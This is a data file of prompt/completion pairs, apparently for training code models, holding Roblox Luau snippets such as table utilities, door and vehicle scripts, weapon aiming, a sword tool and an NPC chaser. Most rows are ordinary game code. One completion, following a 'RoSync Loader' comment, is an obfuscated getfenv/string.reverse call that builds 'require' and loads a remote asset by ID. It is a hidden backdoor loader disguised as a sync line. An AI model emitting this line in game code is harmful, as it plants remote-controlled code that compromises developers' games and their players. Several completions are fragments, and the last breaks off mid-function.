prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--[=[
@within TableUtil
@function Assign
@param target table
@param ... table
@return table
Copies all values of the given tables into the `target` table.
```lua
local t = {A = 10}
local t2 = {B = 20}
local t3 = {C = 30, D = 40}
local newT = TableUtil.Assign(t, t2, t3)
print(newT) --> {A = 10, B = 20, C = 30, D = 40}
```
]=]
|
local function Assign(target: Table, ...: Table): Table
local tbl = Copy(target)
for _,src in ipairs({...}) do
for k,v in pairs(src) do
tbl[k] = v
end
end
return tbl
end
|
--[[ Last synced 5/5/2023 07:15 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
-------------------------
|
function onClicked()
R.BrickColor = BrickColor.new("Really red")
C.One.BrickColor = BrickColor.new("Really black")
C.Three.BrickColor = BrickColor.new("Really black")
C.Four.BrickColor = BrickColor.new("Really black")
C.MIC.BrickColor = BrickColor.new("Really black")
C.A.BrickColor = BrickColor.new("Really black")
C.B.BrickColor = BrickColor.new("Really black")
C.M.BrickColor = BrickColor.new("Really black")
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
----------------------------------------------------------------------------------------------------
--------------------=[ OUTROS ]=--------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,FastReload = true --- Automatically operates the bolt on reload if needed
,SlideLock = false
,MoveBolt = false
,BoltLock = false
,CanBreachDoor = false
,CanBreak = true --- Weapon can jam?
,JamChance = 1000 --- This old piece of brick doesn't work fine >;c
,IncludeChamberedBullet = true --- Include the chambered bullet on next reload
,Chambered = false --- Start with the gun chambered?
,LauncherReady = false --- Start with the GL ready?
,CanCheckMag = true --- You can check the magazine
,ArcadeMode = false --- You can see the bullets left in magazine
,RainbowMode = false --- Operation: Party Time xD
,ModoTreino = false --- Surrender enemies instead of killing them
,GunSize = 3
,GunFOVReduction = 5
,BoltExtend = Vector3.new(0, 0, 0.4)
,SlideExtend = Vector3.new(0, 0, 0.4)
|
--[[*
* Keeps track of the current owner.
*
* The current owner is the component who should own any components that are
* currently being constructed.
]]
|
local ReactCurrentOwner = {
--[[*
* @internal
* @type {ReactComponent}
]]
-- ROBLOX deviation START: upstream types this as Fiber, but that would incur a circular dependency between reconciler and shared
current = nil :: any,
-- ROBLOX deviation END
}
return ReactCurrentOwner
|
--!strict
|
local LuauPolyfill = script.Parent.Parent
local types = require(LuauPolyfill.types)
type Array<T> = types.Array<T>
type Object = types.Object
type callbackFn<T> = (element: T, index: number, array: Array<T>) -> boolean
type callbackFnWithThisArg<T, U> = (thisArg: U, element: T, index: number, array: Array<T>) -> boolean
|
-- Functions --
|
local function setUp()
closedGoal = {Size = Block.Size, Position = Block.Position}
local smallSize = Vector3.new((Block.Size.X), (0.05), (Block.Size.Z))
--local smallPosition = Vector3.new((Block.Position.X), (Block.Position.Y - Block.CFrame.UpVector * Block.Size.Y * -0.5), (Block.Position.Z))
local smallPosition = Block.Position + Block.CFrame.UpVector * Block.Size.Y * 0.5
openGoal = {Size = smallSize, Position = smallPosition}
end
local function getProximityPrompts()
for index, child in pairs(ProximityPrompts:GetChildren()) do
if child:IsA("ObjectValue") then
local prompt = child.Value
if prompt:IsA("ProximityPrompt") then
table.insert(proximityPrompts, prompt)
end
end
end
end
local function tweenTo(goal)
if tween then
tween:Destroy()
end
local duration = math.abs((Block.Size.Y - goal.Size.Y) / shrinkSpeed)
local tweenInfo = TweenInfo.new(duration, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut)
tween = TweenService:Create(Block, tweenInfo, goal)
tween:Play()
if isOpen then
isOpen = false
else
isOpen = true
end
end
local function isOnValidTeam(player)
local playerTeamColor = player.TeamColor
local isValid
for index, objectValue in pairs(teamColorObjectValues) do
if objectValue.Value == playerTeamColor then
isValid = true
end
end
return isValid
end
local function onTriggered(player)
if not isOnValidTeam(player) then return end
if isOpen then
tweenTo(closedGoal)
else
tweenTo(openGoal)
end
end
|
-- Initialize lighting tool
|
local LightingTool = require(CoreTools:WaitForChild 'Lighting')
Core.AssignHotkey('U', Core.Support.Call(Core.EquipTool, LightingTool));
Core.AddToolButton(Core.Assets.LightingIcon, 'U', LightingTool)
|
-- MAIN SCRIPT --
|
Remotes.Event('SetSettings').OnServerEvent:Connect(function(Player, Data)
DataService:SetSettings(Player.UserId, Data)
end)
Remotes.Function('GetSettings').OnServerInvoke = function(Player)
return DataService:GetSettings(Player.UserId)
end
|
--[[
Returns the instance corresponding with the given path of object names. Errors if this instance does not exist.
Useful for accessing Instance trees generated at runtime in strict mode. For example:
local mast: Model = getInstance(rootInstance, "Ship", "Mast")
--]]
|
local function getInstance<T>(instance: Instance, ...: string): T
for _, childName in ipairs({ ... }) do
local child = instance:FindFirstChild(childName)
assert(child, string.format("%s is not a child of %s", childName, instance:GetFullName()))
instance = child
end
-- We want this function to be callable with generic types
return (instance :: any) :: T
end
return getInstance
|
--------------------[ ADS FUNCTIONS ]-------------------------------------------------
|
function AimGun()
if (Camera.CoordinateFrame.p - Camera.Focus.p).magnitude > 1 or Reloading or Knifing or ThrowingGrenade then return end
local Scope = Gui_Clone:WaitForChild("Scope"):WaitForChild("Img")
local Steady = Gui_Clone:WaitForChild("Scope"):WaitForChild("Steady")
Aimed = true
Aiming = true
CurrentRecoil = S.Recoil.Aimed
CurrentSpread = S.Spread.Aimed
Gui_Clone.CrossHair.Box:TweenSizeAndPosition(
UDim2.new(),
UDim2.new(),
Enum.EasingDirection.Out,
Enum.EasingStyle.Sine,
S.AimAnimation and S.AimSpeed or 0,
true
)
if S.AimAnimation then
local CurrentFOV = Camera.FieldOfView
local CurrentCameraOffset = Humanoid.CameraOffset
local CurrentTrans = Scope.BackgroundTransparency
TweenJoint(LWeld, ArmC0[1], S.ArmC1_Aimed.Left, Sine, S.AimSpeed)
TweenJoint(RWeld, ArmC0[2], S.ArmC1_Aimed.Right, Sine, S.AimSpeed)
TweenJoint(AnimWeld, CF(0, 1, 0), CF(), Sine, S.AimSpeed)
TweenJoint(Grip, Grip.C0, Aimed_GripCF, Sine, S.AimSpeed)
TweenJoint(LWeld2, CF(), CF(), Sine, S.AimSpeed)
TweenJoint(RWeld2, CF(), CF(), Sine, S.AimSpeed)
local X = 0
while true do
local NewX = X + 1.5 / S.AimSpeed
X = (NewX > 90 and 90 or NewX)
if (not Aimed) then break end
if (not Selected) then break end
local Alpha = 1 - COS(RAD(X))
Camera.FieldOfView = NumLerp(CurrentFOV, S.MaxZoom, Alpha)
if S.GuiScope then
Scope.BackgroundTransparency = NumLerp(CurrentTrans, 0, Alpha)
end
if X == 90 then break end
RS:wait()
end
else
LWeld.C0, LWeld.C1 = ArmC0[1], S.ArmC1_Aimed.Left
RWeld.C0, RWeld.C1 = ArmC0[2], S.ArmC1_Aimed.Right
AnimWeld.C0 = CF(0, 1, 0)
Grip.C1 = Aimed_GripCF
LWeld2.C1, RWeld2.C1 = CF(), CF()
Camera.FieldOfView = S.MaxZoom
end
Aiming = (not Aimed)
if (not Aiming) and S.GuiScope then
spawn(function()
Steady.Visible = true
Scope.BackgroundTransparency = 1
Scope.ImageTransparency = 0
local Gun_Model = Instance.new("Model")
Gun_Model.Name = "Gun_Model"
for _, Obj in pairs(Gun:GetChildren()) do
if Obj:IsA("BasePart") then
local ObjClone = Obj:Clone()
ObjClone.Parent = Gun_Model
local W = Instance.new("Weld")
W.Part0 = ObjClone
W.Part1 = Obj
W.Parent = ObjClone
local PrevTrans = Instance.new("NumberValue")
PrevTrans.Name = "PrevTrans"
PrevTrans.Value = Obj.Transparency
PrevTrans.Parent = Obj
Obj.Transparency = 1
end
end
Gun_Model.Parent = Character
end)
spawn(function()
while Aimed do
local Ang = (CameraSteady and 0 or (Idleing and AnimAng[2] or AnimAng[4]))
if CameraSway ~= 0 then
local OffsetX, OffsetY = 0, 0
if Idleing then
OffsetX = (RAD(COS(Ang * 5 * (CameraSway ^ 0.4))) / 40) * (CameraSway ^ 1.2) * StanceSway * S.ScopeSway
OffsetY = (RAD(COS(Ang * 2 * (CameraSway ^ 0.4))) / 40) * (CameraSway ^ 1.2) * StanceSway * S.ScopeSway
else
OffsetX = (RAD(COS(Ang * 3/2 * (CameraSway ^ 0.4))) / 25) * (CameraSway ^ 1.2) * StanceSway * S.ScopeSway
OffsetY = (RAD(COS(Ang * 3/5 * (CameraSway ^ 0.4))) / 25) * (CameraSway ^ 1.2) * StanceSway * S.ScopeSway
end
RotCamera(OffsetX, OffsetY)
end
RS:wait()
end
end)
end
end
function UnAimGun(Exception)
local Scope = Gui_Clone:WaitForChild("Scope"):WaitForChild("Img")
local Steady = Gui_Clone:WaitForChild("Scope"):WaitForChild("Steady")
if (not Exception) then
if (not Aimed) then return end
if (Reloading and Exception) or Knifing and (not ThrowingGrenade) then return end
CurrentRecoil = S.Recoil.Hipfire
CurrentSpread = ((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking)
if Walking and Aimed then
Gui_Clone.CrossHair.Box:TweenSizeAndPosition(
UDim2.new(0, 150, 0, 150),
UDim2.new(0, -75, 0, -75),
Enum.EasingDirection.Out,
Enum.EasingStyle.Linear,
S.AimAnimation and S.AimSpeed or 0,
true
)
elseif Idleing then
Gui_Clone.CrossHair.Box:TweenSizeAndPosition(
UDim2.new(0, 70, 0, 70),
UDim2.new(0, -35, 0, -35),
Enum.EasingDirection.Out,
Enum.EasingStyle.Linear,
S.AimAnimation and S.AimSpeed or 0,
true
)
end
Aimed = false
Aiming = true
if S.GuiScope then
spawn(function()
local Gun_Model = Character:FindFirstChild("Gun_Model")
if Gun_Model then
Gun_Model:Destroy()
end
for _, Obj in pairs(Gun:GetChildren()) do
if Obj:IsA("BasePart") then
local PrevTrans = Obj:FindFirstChild("PrevTrans")
Obj.Transparency = PrevTrans.Value
PrevTrans:Destroy()
end
end
end)
end
if S.AimAnimation then
local CurrentFOV = Camera.FieldOfView
local CurrentCameraOffset = Humanoid.CameraOffset
local CurrentTrans = (Scope.BackgroundTransparency == 1 and (S.GuiScope and 0 or 1) or Scope.BackgroundTransparency)
Scope.ImageTransparency = 1
Steady.Visible = false
TweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Sine, S.AimSpeed)
TweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Sine, S.AimSpeed)
TweenJoint(Grip, Grip.C0, CFANG(0, RAD(20), 0), Sine, S.AimSpeed)
if S.PlayerAnimations then
TweenJoint(LWeld2, CF(), CFANG(0, RAD(ArmTilt), 0), Sine, S.AimSpeed)
TweenJoint(RWeld2, CF(), CFANG(0, RAD(ArmTilt), 0), Sine, S.AimSpeed)
end
local X = 0
while true do
local NewX = X + 1.5 / S.AimSpeed
X = (NewX > 90 and 90 or NewX)
if Aimed then break end
if (not Selected) then break end
local Alpha = 1 - COS(RAD(X))
Camera.FieldOfView = NumLerp(CurrentFOV, 70, Alpha)
Scope.BackgroundTransparency = NumLerp(CurrentTrans, 1, Alpha)
if X == 90 then break end
RS:wait()
end
else
Scope.BackgroundTransparency = 1
Scope.ImageTransparency = 1
Steady.Visible = false
LWeld.C0, LWeld.C1 = ArmC0[1], S.ArmC1_UnAimed.Left
RWeld.C0, RWeld.C1 = ArmC0[2], S.ArmC1_UnAimed.Right
Grip.C1 = CFANG(0, RAD(20), 0)
LWeld2.C1, RWeld2.C1 = CFANG(0, RAD(ArmTilt), 0), CFANG(0, RAD(ArmTilt), 0)
Camera.FieldOfView = 70
end
Aiming = Aimed
else
if S.GuiScope then
spawn(function()
local Gun_Model = Character:FindFirstChild("Gun_Model")
if Gun_Model then
Gun_Model:Destroy()
end
for _, Obj in pairs(Gun:GetChildren()) do
if Obj:IsA("BasePart") then
local PrevTrans = Obj:FindFirstChild("PrevTrans")
Obj.Transparency = PrevTrans.Value
PrevTrans:Destroy()
end
end
end)
end
spawn(function()
Aimed = false
Aiming = false
CurrentRecoil = S.Recoil.Hipfire
CurrentSpread = ((Idleing and (not Walking)) and S.Spread.Hipfire or S.Spread.Walking)
if (not Walking) then
Gui_Clone.CrossHair.Box:TweenSizeAndPosition(
UDim2.new(0, 70, 0, 70),
UDim2.new(0, -35, 0, -35),
Enum.EasingDirection.Out,
Enum.EasingStyle.Linear,
S.AimAnimation and S.AimSpeed or 0,
true
)
else
Gui_Clone.CrossHair.Box:TweenSizeAndPosition(
UDim2.new(0, 150, 0, 150),
UDim2.new(0, -75, 0, -75),
Enum.EasingDirection.Out,
Enum.EasingStyle.Linear,
S.AimAnimation and S.AimSpeed or 0,
true
)
end
local CurrentFOV = Camera.FieldOfView
local CurrentCameraOffset = Humanoid.CameraOffset
local CurrentTrans = (Scope.BackgroundTransparency == 1 and (S.GuiScope and 0 or 1) or Scope.BackgroundTransparency)
Scope.ImageTransparency = 1
Steady.Visible = false
if LWeld:FindFirstChild("TweenCode") then LWeld.TweenCode:Destroy() end
if RWeld:FindFirstChild("TweenCode") then RWeld.TweenCode:Destroy() end
if Grip:FindFirstChild("TweenCode") then Grip.TweenCode:Destroy() end
if LWeld2:FindFirstChild("TweenCode") then LWeld2.TweenCode:Destroy() end
if RWeld2:FindFirstChild("TweenCode") then RWeld2.TweenCode:Destroy() end
if S.AimAnimation then
local X = 0
while true do
local NewX = X + 1.5 / S.AimSpeed
X = (NewX > 90 and 90 or NewX)
if Aimed then break end
if (not Selected) then break end
local Alpha = 1 - COS(RAD(X))
Camera.FieldOfView = NumLerp(CurrentFOV, 70, Alpha)
Scope.BackgroundTransparency = NumLerp(CurrentTrans, 1, Alpha)
if X == 90 then break end
RS:wait()
end
else
Scope.BackgroundTransparency = 1
Scope.ImageTransparency = 1
Steady.Visible = false
Camera.FieldOfView = 70
end
end)
end
end
|
---------END LEFT DOOR
|
game.Workspace.DoorValues.Moving.Value = true
game.Workspace.DoorClosed.Value = false
wait(0.1)
until game.Workspace.DoorValues.Close.Value==0 --how much you want to open - the lower the number, the wider the door opens.
end
game.Workspace.DoorValues.Moving.Value = false
end
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--
--All Welding Related Utility functions should be put here
--
|
WeldUtil = {}
do
function WeldUtil.WeldBetween(a, b)
local weld = Instance.new("Weld")
weld.Part0 = a
weld.Part1 = b
weld.C0 = CFrame.new()
weld.C1 = b.CFrame:inverse() * a.CFrame
weld.Parent = a
return weld
end
function WeldUtil:PermaWeld(weld)
local OriginalParent = weld.Parent
weld.Changed:connect(function()
delay(0,function() weld.Parent = OriginalParent end)
end)
end
end
local InternalEvent =
{
Listeners = nil,
}
do
UTIL.MakeClass(InternalEvent)
function InternalEvent:Connect(func)
if not self.Listeners then self.Listeners = {} end
table.insert(self.Listeners,func)
end
function InternalEvent:Fire(...)
if not self.Listeners then return end
local args = {...}
for _,i in ipairs(self.Listeners) do
spawn(function() i(unpack(args)) end)
end
end
end
|
--Rescripted by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Mesh = Handle:WaitForChild("Mesh")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
BaseUrl = "http://www.roblox.com/asset/?id="
Grips = {
Up = CFrame.new(0, 0, -1.5, 0, 0, 1, 1, 0, 0, 0, 1, 0),
Out = CFrame.new(0, 0, -1.5, 0, -1, -0, -1, 0, -0, 0, 0, -1),
}
Sounds = {
Slash = Handle:WaitForChild("Slash"),
Lunge = Handle:WaitForChild("Lunge"),
Unsheath = Handle:WaitForChild("Unsheath"),
}
LastAttack = 0
ToolEquipped = false
Tool.Enabled = true
function SwordUp()
Tool.Grip = Grips.Up
end
function SwordOut()
Tool.Grip = Grips.Out
end
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function Attack()
Sounds.Slash:Play()
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Slash"
Anim.Parent = Tool
end
function Lunge()
Sounds.Lunge:Play()
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Lunge"
Anim.Parent = Tool
local Force = Instance.new("BodyVelocity")
Force.velocity = Vector3.new(0, 10, 0)
Force.maxForce = Vector3.new(0, 4000, 0)
Debris:AddItem(Force, 0.5)
Force.Parent = RootPart
wait(0.25)
SwordOut()
wait(0.25)
if Force and Force.Parent then
Force:Destroy()
end
wait(0.5)
SwordUp()
end
function Blow(Hit)
if not Hit or not Hit.Parent or not CheckIfAlive() then
return
end
local RightArm = (Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand"))
if not RightArm then
return
end
local RightGrip = RightArm:FindFirstChild("RightGrip")
if not RightGrip or (RightGrip.Part0 ~= RightArm and RightGrip.Part1 ~= RightArm) or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then
return
end
local character = Hit.Parent
local humanoid = character:FindFirstChild("Humanoid")
if not humanoid then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and (player == Player or IsTeamMate(Player, player)) then
return
end
UntagHumanoid(humanoid)
TagHumanoid(humanoid, Player)
end
function Activated()
if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then
return
end
Tool.Enabled = false
local Tick = RunService.Stepped:wait()
if (Tick - LastAttack) < 0.2 then
Lunge()
else
Attack()
end
LastAttack = Tick
Tool.Enabled = true
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and RootPart and RootPart.Parent and Player and Player.Parent) and true) or false)
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
RootPart = Character:FindFirstChild("HumanoidRootPart")
if not CheckIfAlive() then
return
end
ToolEquipped = true
Sounds.Unsheath:Play()
end
function Unequipped()
ToolEquipped = false
end
SwordUp()
Handle.Touched:connect(Blow)
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
--[[Run]]
|
--Print Version
local ver=require(car["A-Chassis Tune"].README)
--Runtime Loops
-- ~60 c/s
game["Run Service"].Stepped:connect(function()
--Steering
Steering()
--RPM
RPM()
--Update External Values
_IsOn = script.Parent.IsOn.Value
_InControls = script.Parent.ControlsOpen.Value
script.Parent.Values.Gear.Value = _CGear
script.Parent.Values.RPM.Value = _RPM
script.Parent.Values.Horsepower.Value = _HP
script.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM
script.Parent.Values.TransmissionMode.Value = _TMode
script.Parent.Values.Throttle.Value = _GThrot
script.Parent.Values.Brake.Value = _GBrake
script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100)))
script.Parent.Values.SteerT.Value = _GSteerT
script.Parent.Values.PBrake.Value = _PBrake
script.Parent.Values.TCS.Value = _TCS
script.Parent.Values.TCSActive.Value = _TCSActive
script.Parent.Values.ABS.Value = _ABS
script.Parent.Values.ABSActive.Value = _ABSActive
script.Parent.Values.MouseSteerOn.Value = _MSteer
script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity
end)
-- ~15 c/s
while wait(.0667) do
--Power
Engine()
--Flip
if _Tune.AutoFlip then Flip() end
if Stats.Fuel == 0 then _IsOn = false end
end
|
-- Handles behaviours
|
local function characterTouchedBrick(partTouched)
local behaviours = partTouched:FindFirstChild("Behaviours")
if behaviours ~= nil then
behaviours = behaviours:GetChildren()
for i = 1, #behaviours do
if behaviours[i].Value == true then
game.ReplicatedStorage.RemoteEvents.ExecuteBehaviour:FireServer(player.Character, partTouched, behaviours[i].Name)
end
end
end
end
function characterAdded(newCharacter)
local humanoid = newCharacter:WaitForChild("Humanoid")
humanoid.WalkSpeed = 0
humanoid.Touched:Connect(characterTouchedBrick)
local splashScreen = player.PlayerGui:WaitForChild("StartScreen")
if UserInputService.TouchEnabled == false then
if UserInputService.GamepadEnabled then
splashScreen.StartInstructions.StartLabel.Text = "Press Space or Gamepad A Button to Start"
else
splashScreen.StartInstructions.StartLabel.Text = "Press Space to Start"
end
end
if reviving == true then
reviving = false
splashScreen:Destroy()
humanoid.WalkSpeed = characterWalkSpeed
end
humanoid.WalkSpeed = 0
end
player.CharacterAdded:Connect(characterAdded)
if player.Character then
characterAdded(player.Character)
end
function checkReviving(addedGui)
if addedGui.Name == "RevivingGUI" then
reviving = true
end
end
player.PlayerGui.ChildAdded:Connect(checkReviving)
if UserInputService.TouchEnabled then
UserInputService.ModalEnabled = true
UserInputService.TouchStarted:Connect(function(inputObject, gameProcessedEvent) if gameProcessedEvent == false then doJump = true end end)
UserInputService.TouchEnded:Connect(function() doJump = false end)
else
ContextActionService:BindAction("Jump", function(action, userInputState, inputObject) doJump = (userInputState == Enum.UserInputState.Begin) end, false, Enum.KeyCode.Space, Enum.KeyCode.ButtonA)
end
game:GetService("RunService").RenderStepped:Connect(function()
if player.Character ~= nil then
if player.Character:FindFirstChild("Humanoid") then
if doJump == true then
jump()
end
player.Character.Humanoid:Move(Vector3.new(0,0,-1), false)
end
end
end)
|
--edit the below function to execute code when this response is chosen OR this prompt is shown
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation)
ClassInformationTable:GetClassFolder(player,"Paladin").Obtained.Value = true
ClassInformationTable:GetClassFolder(player,"Paladin").JumpStrike1.Value = true
end
|
--// initialize functions //--
|
function resetGui()
script.Parent.GuiActive.Value = false
script.Parent.Parent.ChangePlayer.Visible = false
script.Parent.Holder.PlayerName.Text = "NOBODY"
viewingNumber = 1
game.Workspace.CurrentCamera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
end
function moveRight()
playerTable = game.Players:GetChildren()
viewingNumber = viewingNumber + 1
if playerTable[viewingNumber] == nil then
viewingNumber = 1
end
if playerTable[viewingNumber] ~= nil then
game.Workspace.CurrentCamera.CameraSubject = playerTable[viewingNumber].Character.Humanoid
if playerTable[viewingNumber].Name ~= player.Name then
script.Parent.Holder.PlayerName.Text = playerTable[viewingNumber].Name:upper()
else
script.Parent.Holder.PlayerName.Text = "NOBODY"
end
end
end
function moveLeft()
playerTable = game.Players:GetChildren()
local maxNumber = #playerTable
viewingNumber = viewingNumber - 1
if playerTable[viewingNumber] == nil then
viewingNumber = maxNumber
end
if playerTable[viewingNumber] ~= nil then
game.Workspace.CurrentCamera.CameraSubject = playerTable[viewingNumber].Character.Humanoid
if playerTable[viewingNumber].Name ~= player.Name then
script.Parent.Holder.PlayerName.Text = playerTable[viewingNumber].Name:upper()
else
script.Parent.Holder.PlayerName.Text = "NOBODY"
end
end
end
function checkTeam(color)
for i,v in pairs(script.Parent.Parent.AllowedTeams:GetChildren()) do
if v.Value == game.Players.LocalPlayer.TeamColor then
return true
end
end
return false
end
|
--[[Engine]]
--Torque Curve
|
Tune.Horsepower = 3000 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 1000 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 8000 -- Use sliders to manipulate values
Tune.Redline = 9000-- Copy and paste slider values into the respective tune values
Tune.EqPoint = 10700
Tune.PeakSharpness = 2.3
Tune.CurveMult = 0.07
|
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]--
--[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]--
--[[end;]]
|
--
local JeffTheKillerHumanoid;
for _,Child in pairs(JeffTheKiller:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
JeffTheKillerHumanoid=Child;
end;
end;
local AttackDebounce=false;
local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife");
local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head");
local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart");
local WalkDebounce=false;
local Notice=false;
local JeffLaughDebounce=false;
local MusicDebounce=false;
local NoticeDebounce=false;
local ChosenMusic;
function FindNearestBae()
local NoticeDistance=100;
local TargetMain;
for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("HumanoidRootPart")and TargetModel:FindFirstChild("Head")then
local TargetPart=TargetModel:FindFirstChild("HumanoidRootPart");
local FoundHumanoid;
for _,Child in pairs(TargetModel:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then
TargetMain=TargetPart;
NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude;
local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500)
if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("HumanoidRootPart")and hit.Parent:FindFirstChild("Head")then
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then
Spawn(function()
AttackDebounce=true;
local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing"));
local SwingChoice=math.random(1,2);
local HitChoice=math.random(1,3);
SwingAnimation:Play();
SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1));
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then
local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing");
SwingSound.Pitch=1+(math.random()*0.04);
SwingSound:Play();
end;
Wait(0.3);
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then
FoundHumanoid:TakeDamage(5000);
if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
end;
end;
Wait(0.1);
AttackDebounce=false;
end);
end;
end;
end;
end;
end;
return TargetMain;
end;
while Wait(0)do
local TargetPoint=JeffTheKillerHumanoid.TargetPoint;
local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller})
local Jumpable=false;
if Blockage then
Jumpable=true;
if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then
local BlockageHumanoid;
for _,Child in pairs(Blockage.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
BlockageHumanoid=Child;
end;
end;
if Blockage and Blockage:IsA("Terrain")then
local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0)));
local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z);
if CellMaterial==Enum.CellMaterial.Water then
Jumpable=false;
end;
elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then
Jumpable=false;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then
JeffTheKillerHumanoid.Jump=true;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
Spawn(function()
WalkDebounce=true;
local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));
